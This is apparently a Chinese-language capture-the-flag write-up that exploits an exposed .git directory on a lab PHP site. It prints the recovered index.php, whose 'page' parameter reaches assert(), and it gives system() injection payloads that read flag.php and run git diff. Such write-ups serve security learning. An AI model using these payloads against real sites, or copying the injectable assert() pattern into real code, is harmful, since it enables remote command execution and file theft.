記錄一道今天做的.git源碼泄露題
看到url有可能會有文件包含，嘗試一下
應該是有什么被BAN了，這時候也沒有什么更好的思路了 用御劍掃一掃后台，看看有沒有備份文件或者.git文件什么的
果然掃描以后發現了.git目錄 這時候就用到GitHack了 https://github.com/lijiejie/GitHack
使用后發現了
我們訪問文件夾里的flag.php 可是沒有東西
看來事情並沒有那么簡單，我們回去訪問index.php
<?php if (isset($_GET['page'])) { $page = $_GET['page']; } else { $page = "home"; } $file = "templates/" . $page . ".php"; //$file = "templates/" . '.system("cd ../../../; ls -lA;").' . ".php"; // I heard '..' is dangerous! assert("strpos('$file', '..') === false") or die("Detected hacking attempt!"); // TODO: Make this look nice assert("file_exists('$file')") or die("That file doesn't exist!"); //file_exists('"templates/" . '.system("cd ../../../; ls -lA;").' . ".php"') ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>My PHP Website</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" /> </head> <body> <nav class="navbar navbar-inverse navbar-fixed-top"> <div class="container"> <div class="navbar-header"> <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar"> <span class="sr-only">Toggle navigation</span> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <a class="navbar-brand" href="#">Project name</a> </div> <div id="navbar" class="collapse navbar-collapse"> <ul class="nav navbar-nav"> <li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li> <li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li> <li <?php if ($page == "contact") { ?>class="active"<?php } ?>><a href="?page=contact">Contact</a></li> <!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> --> </ul> </div> </div> </nav> <div class="container" style="margin-top: 50px"> <?php require_once $file; ?> </div> <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js" /> <script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js" /> </body> </html>
我們發現page是我們可以進行上傳的，沒有做任何的過濾 ，而且有assert函數可以執行我們輸入的命令
構造payload = '.system("cd ../../www/html/templates; cat flag.php;").'
writeup 上的payload = '.system("cd ../../www/html/templates; git diff;").'
其中 '是為了閉合 assert("file_exists('$file')")中的' .是字符串拼接 我在上面代碼中有注釋 可以把注釋去掉理解一下
最后訪問的結果沒有什么東西，但我們訪問源代碼 flag就來了
自己的一些理解，可能會有不對的地方